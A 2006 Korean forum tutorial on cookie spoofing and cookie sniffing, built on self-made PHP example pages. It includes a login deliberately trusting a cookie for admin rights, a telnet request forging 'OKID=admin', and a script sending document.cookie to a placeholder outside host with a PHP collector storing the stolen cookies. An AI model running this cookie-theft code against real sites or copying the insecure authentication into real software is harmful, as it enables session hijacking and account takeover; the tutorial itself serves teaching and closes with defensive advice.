cookie spoofing & sniffing
페이지 정보
작성자 서방님 댓글 0건 조회 113회 작성일 06-09-21 09:50본문
본문에 들어가기에 앞서 ...
이 문서는 Cookie Spoofing 과 Sniffing 에 대해 정석적인 방법을 이야기 하도록 하며 또한 어느 특정 곳의 취약점을 설명하지 않고 직접 제작한 예제를 가지고 Cookie Spoofing 과 Sniffing 이라 무엇인가를 이야기 하도록 하겠다.
Cookie란 WEB Server측에서 Login과 같은 인증을 받고 유지시켜 주기 위해 필요로 된다.
예를 내가 쇼핑몰에 물건을 사려고 한다면 그 사이트에 로그인을 하고 물건을 고르고 내 장바구니에 물건을 담을 수 있다. 그리고 다른 사이트를 잠시 들어 갔다와도 로그인 후 장바구니에 있던 물건의 정보는 그대로 남아있고 로그인이 계속 유지되어져 있는 상태를 볼 수 있다. 이건 즉 Cookie라는 것을 사용해 그 세션을 계속 유지시켜 주기 때문이다. 간략히 말해서 로그인을 해야만 볼 수 있는 페이지가 있다. 그런데 다른 페이지를 보기위해 계속 로그인을 해야하는 작업들을 Cookie를 통해 계속 로그인 된 상태를 유지시켜주는게 Cookie이다.
허나, Cookie라는 것은 정보의 집합체이기 때문에 정보의 유출 , 정보의 조작이 가능할 수 있는 문제가 있다. 잘 못 만들어진 사이트나 쓸 때 없는 개인적인 정보를 Cookie에 넣고 있다면 커다란 문제가 된다. 이러한 문제가 존재하는 가운데 Cookie Spoofing 과 Sniffing라는 취약점을 노리는 기술이 나오게 되었다.
그러면 Cookie Spoofing 과 Sniffing은 어떤식으로 해야 되는지 임의로 제작된 스크립트 를 통해 알아보도록 하겠다. 기타 환경 조건(html도 php로 된다.)
첫번째 방법으로 Cookie Spoofing에 대해서 설명하도록 하겠다.
아래는 로그인을 하고 들어 갈 수 있는 폼의 스크립트이다.
대략적인 형태는
--------------------------------------------------
ID _________________ PASSWORD _________________
--------------------------------------------------
Login 이다.
== login.html =====================================
<html>
<head>
<title>Login</title>
</head>
<body>
<center>
<form method="get" action="login_check.html">
<font color="white" size=2>LOGIN</font> <font color="white" size=2>ID</font> <input type=text name=ids> <font color="white" size=2>PASSWORD</font> <input type=password name=pwd> <input type=submit value="LOGIN">
</form>
</center>
</body>
</html>
=================================================
위의 Login.html페이지에서 login_check.html 페이지로 ids(ID), wd(PASSWORD)의 정보가 넘겨지게 된다.
그럼 login_check.html 페이지의 스크립트를 보고 설명을 하도록 하겠다.
참고로 임의로 만들었기때문에 패스워드는 그냥 임의의 값이 들어오면 인증 되도록 만들었다. 보통 데이터베이스에서 정보를 가져와 확인을 하게 된다.
== login_check.html ==================================================
<?
if(!$ids) {
echo("
<script>
window.alert('Empty ID')
history.go(-1)
</script>
");
exit;
}
if(!$pwd) {
echo("
<script>
window.alert('Empty Password')
history.go(-1)
</script>
");
}
if($pwd== "maxoverpro" ) {
setCookie("OKID",$ids);
echo("
<script>
location="confirm.html";
</script>
");
}
else
{
echo("
<script>
window.alert('Not Currect Password')
history.go(-1)
</script>
");
exit;
}
exit;
?>
=======================================================
그러면 인증을 확인이 되었으면 confirm.html라는 곳으로 넘어가게 되는데 이 부분에서 cookie의 정보를 가지고 어떤 사용자인지 확인하고 다른 페이지를 보여 줄 수 있는 페이지라고 가정하고 confirm.html 스크립트를 보도록 하겠다.
== confirm.html =======================================
<?
echo("
<html>
<head>
<title>Who am i?</title>
</head>
<body>
<center>
<center>Confirmation State</center>
<font size=3>
");
if($OKID == "admin") {
print $OKID;
echo(" -> Admin User</font>");
}
else {
print $OKID;
echo(" -> Normal User</font>");
}
echo("</body>
</html>");
===================================================
confirm.html에서는 cookie의 OKID의 정보를 보고 어떤 사용자인지 식별을 하게 된다.
만약 OKID가 admin이라면 관리자 계정으로 사용할 수 있고, 그렇지 않으면 일반 사용자로 권한이 떨어 지게 된다.
그럼 위의 정보를 어떻게 Spoofing을 할 수 있을까에 대해서 알아보도록 하겠다.
우린 웹 브라우저의 주소창에 javascript:document.cookie 라는 것을 통해 cookie의 정보를 확인 할 수 있다. 그것을 통해 내가 사용하는 사이트에서는 어떤 방식과 어떤 정보를 cookie가 가지고 있는지 확인 할 수 있다.
위의 예제에서는 정석적인 것을 이야기 하는 것이기 때문에 cookie의 내용이 간단하지만 보통 다른 곳에서는 상당히 긴 쿠키의 정보를 확인 할 수 있다.
그런 세세한 것에 대한 것은 이 문서에서 다루지 않도록 하겠다.
그럼 어떻게 cookie를 spoofing하게 하는지 알아 보겠다.
그냥 알아 보는 차원에서 간단하게 정보를 바꿔서 admin의 권한으로 떨어지는 것을 보도록 하겠다.
========================================================
max@security max$ telnet 192.168.0.4 80
Trying 192.168.0.4...
Connected to 192.168.0.4.
Escape character is '^>'.
get http://192.168.0.4/confirm.html HTTP/1.0
Cookie: OKID=admin
HTTP/1.1 200 OK
Date: Tue, 11 May 2004 11:26:44 GMT
Server: Apache/2.0.47 (Fedora)
X-Powered-By: PHP/4.3.3
Connection: close
Content-Type: text/html; charset=EUC-KR
<html>
<head>
<title>Who am i?</title>
</head>
<body>
<center>
<center>Confirmation State</center>
<font size=3>
admin -> Admin User</font></body>
</html>Connection closed by foreign host.
==============================================
실행한 결과를 보니 Admin User로 권한이 떨어진 것을 보았다.
위와 같은 방법은 Cookie Spoofing이라고 한다.
다음은 cookie sniffing에 대해서 알아 보도록 하겠다.
Cookie sniffing은 테그들이 허용되는 곳에서 사용한 곳에서 cookie의 정보를 빼오는 방법을 말한다. 즉 악의적인 스크립트를 이용해서 가능하다.
그럼 예를 들어 임의로 만든 페이지에 접속할 경우 쿠키 정보를 어떻게 sniffing을 해서 가져 오는지 보도록 하겠다.
== myhome.html =======================================
<html>
<head>
<title>My homepage</title>
<script language=javascript>
window.open("http://xxx.xxx.xxx.xxx/gco.html?ck="+document.cookie);
</script>
</head>
<body>
Hay~
KiN
</body>
</html>
======================================================
위의 페이지에 접속할 경우 페이지를 바꾸어 window.open안에 들어 있는사이트로 접속 하게 된다. 보면 gco.html로 cookie의 정보를 넘겨주게 된다.
주소창에 보면 흔적이 남게 되나 이를 해결 할 수 있는 방법 몇 가지가 있지만 공개하지 않도록 하겠다.
gco.html은 쿠키의 정보를 가져와 저장 시켜주는 역할을 하는 스크립트이다.
그럼 gco.html을 보도록 하겠다.
== gco.html ====================================================
<?
$fp=fopen("/tmp/cinfo.txt","a++");
fputs($fp,"$ck");
fclose($fp);
echo("
<html><head>
<title>My homepage</title>
<body>
Hay~
KiN
</body>
</html>
==================================================
이렇게 해서 myhome.html에 접속을 하게 되고 myhome.html에 있는 스크립트를 통해 gco.html의 ck라는 것으로 cookie의 정보가 전달되고 정보를 저장하게 된다.
위와 같은 방법이 통하는 것을 보안하기 위해서는 기본적인 cookie 정보를 암호화 하거나 여러가지로 여러방법으로 체크하는 것이 필요하다. 개인적으로 취할 수 있는 작은 보안 의식은 cookie의 정보를 삭제하는 방법이 있다.
윈도우에서는 c:windowscookie 나 개인 폴더에 cookie의 정보가 보관되는데 그 정보 를 삭제해 쿠키의 정보를 아무에게나 넘져주지 말도록 해야한다.
댓글목록
등록된 댓글이 없습니다.